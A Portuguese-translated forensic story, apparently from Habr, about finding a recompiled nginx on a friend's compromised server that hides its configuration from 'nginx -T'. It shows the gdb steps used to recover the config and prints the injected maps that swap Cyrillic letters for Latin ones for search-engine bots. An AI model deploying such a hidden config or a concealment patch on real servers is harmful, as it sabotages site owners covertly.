Uma história extremamente desagradável aconteceu com um conhecido meu. Mas o quanto foi desagradável para Mikhail, foi igualmente interessante para mim.
Devo dizer que meu amigo está totalmente bem. UNIX- usuáiro: pode instalar o sistema, configurar mysql, php e fazer as configurações mais simples. nginx.
E ele tem uma dúzia ou mais de sites dedicados a ferramentas de construção.
Um desses sites, dedicado a motosserras, ocupa um lugar de destaque nos motores de busca. Este site é uma revisão sem fins lucrativos, mas alguém decidiu que era um incômodo e começou a atacá-lo. Então DDoS, ou um brute force, ou comentários indecentes e enviam abusos para o host e para o RBK.
De repente, tudo ficou em silêncio e esse silêncio se revelou algo ruim, enquanto o site começou a descer gradualmente nas classificações.

Isso era apenas uma introdução, agora a verdadeira história do administrador.
A hora estava se aproximando de ir para a cama quando recebi uma ligação: "San, você pode dar uma olhada no meu servidor? Acho que fui hackeado, não consigo provar, mas essa sensação não me deixa há três semanas. Talvez seja só hora de eu tratar minha paranoia?"
A partir daí, tivemos uma discussão de meia hora que pode ser resumida assim:
- o terreno para a invasão estava bastante fértil;
- o hacker poderia obter direitos de superusuário;
- o ataque (se é que ocorreu) foi direcionado especificamente a este site;
- os pontos problemáticos foram corrigidos e só precisamos entender se houve fato de invasão;
- a invasão não poderia ter afetado o código do site e os bancos de dados.
Sobre este último ponto.

O mundo vê apenas o IP branco da frontend. Não há troca entre os backends e o frontend, exceto http(s), usuários/senhas diferentes, não trocaram chaves. Nos endereços cinzas, todas as portas, exceto 80/443, estão fechadas. Os IPs brancos dos backends são conhecidos apenas por duas pessoas, nas quais Mikhail confia totalmente.
No frontend está instalado Debian 9 e, no momento da ligação, o sistema está isolado do mundo por um firewall externo e está desligado.
"Ok, me passe os acessos,” decido adiar o sono por uma horinha. “Vou dar uma olhada com meus próprios olhos."
Aqui e adiante:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
Em busca de um possível hack
Ligo o servidor, primeiro em modo-resgate. Montando os discos, revisando auth-logs, histórico, registros do sistema e afins, sempre que possível verifico as datas de criação dos arquivos, embora entenda que um hacker competente teria "limpado" suas pegadas, além de que o Misha já teria "pisoteado" bastante enquanto procurava por conta própria.
Estou iniciando em modo normal, sem entender muito bem o que procurar, estudando as configurações. Minha principal preocupação é nginx já que, na verdade, não há mais nada no front-end além dele.
As configurações são pequenas, bem estruturadas em uma dúzia de arquivos, estou as visualizando apenas cat’uma a uma. Parece que está tudo limpo, mas nunca se sabe se perdi algum include, então vou fazer uma listagem completa:
$ nginx -T
nginx: o arquivo de configuração /usr/local/etc/nginx/nginx.conf está ok
nginx: o teste do arquivo de configuração /usr/local/etc/nginx/nginx.conf foi bem-sucedido
Não entendi: "Onde está a listagem?"
$ nginx -V
versão do nginx: nginx/1.10.3
suporte TLS SNI habilitado
argumentos de configuração: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
Em adição à questão da listagem, surge uma segunda: "Por que uma versão tão antiga do nginx?"
Além disso, o sistema considera que a versão foi instalada mais recentemente:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all pequeno, poderoso e escalável servidor web/proxy
Ligo:
— Misha, por que você recompilou nginx?
— Calma, eu nem sei como fazer isso!
— Ok, então, durma...
Nginx definitivamente recompilado e a saída da listagem via "-T" está oculta por algum motivo. Não há mais dúvidas sobre a invasão e podemos simplesmente aceitar isso e (já que Misha substituiu o servidor por um novo) considerar o problema resolvido.
E de fato, uma vez que alguém obteve direitos root‘a, faz sentido fazer apenas reinstalação do sistema, a menos que a intenção era simplesmente ocultar algo, mas desta vez a curiosidade venceu o sono. Como saber o que tentaram esconder de nós?
Vamos tentar rastrear:
$ strace nginx -T
Verifique, na rastreação, claramente faltam linhas do tipo
write(1, "/etc/nginx/nginx.conf", 21/ etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Por curiosidade, comparamos as saídas
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Acho que parte do código /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
foi transformado para:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
ou
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
portanto, a listagem para "-T" não é exibida.
Mas como ver nossa configuração?
Se minha ideia estiver correta e o problema estiver apenas na variável ngx_dump_config vamos tentar definí-la com gdb, felizmente a chave --with-cc-opt -g está presente e esperamos que a otimização -O2 não atrapalhe. Além disso, já que não sei como ngx_dump_config poderia ter sido processada em case 'T':, não chamaremos esse bloco, mas a definiremos usando case 't':
Por que podemos usar '-t' junto com '-T'Processamento do bloco if(ngx_dump_config) ocorre dentro if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "o arquivo de configuração %s testou com sucesso",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# arquivo de configuração ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Claro, se o código foi alterado nesta parte, e não em case 'T':, então meu método não servirá.
nginx.conf de testeJá resolvendo o problema por meio de tentativa e erro, foi estabelecido que para o funcionamento do malware é necessário um configuração mínima nginx do tipo:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Esse será o que usaremos para brevidade no artigo.
Iniciamos o depurador
$ gdb --silent --args nginx -t
Lendo símbolos de nginx... feito.
(gdb) break main
Ponto de interrupção 1 em 0x1f390: arquivo src/core/nginx.c, linha 188.
(gdb) run
Iniciando o programa: nginx -t
[Depuração de threads usando a libthread_db ativa]
Usando a biblioteca libthread_db " /lib/x86_64-linux-gnu/libthread_db.so.1".
Ponto de interrupção 1, main (argc=2, argv=0x7fffffffebc8) em src/core/nginx.c:188
188 src/core/nginx.c: Arquivo ou diretório inexistente.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuando.
nginx: o arquivo de configuração /etc/nginx/nginx.conf a sintaxe está correta
nginx: o teste do arquivo de configuração /etc/nginx/nginx.conf foi bem-sucedido
# arquivo de configuração /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# arquivo de configuração /etc/nginx/sites-enabled/default:
[Inferior 1 (processo 32581) saiu normalmente]
(gdb) quit
Por etapas:
- definindo um ponto de interrupção na função main()
- iniciando o programa
- alterando o valor da variável que define a saída do config ngx_dump_config=1
- continuamos/encerramos o programa
Como vemos, a configuração real difere da nossa, extraímos dela um trecho parasita:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Vamos analisar passo a passo o que está acontecendo aqui.
Determinam-se User-Agent‘ы yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Excluindo páginas de serviço wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
E para aqueles que se encaixam em ambas as condições acima mencionadas
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
no texto e outras, tudo o que parece confuso.-a página é alterada ‘о’ para ‘o’ e ‘а’ para ‘a’:
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
É exatamente assim, o detalhe é que ‘а’ != ‘a’ assim como ‘о’ != ‘o’:

Assim, os bots dos motores de busca recebem, em vez de um texto 100% cirílico normal, um lixo modificado diluído em letras latinas ‘a’ e ‘o’. Não vou especular sobre como isso afeta o SEO, mas é improvável que uma mistura de letras assim impacte positivamente nas classificações.
O que posso dizer, pessoal com imaginação.
Links
Fonte: habr.com
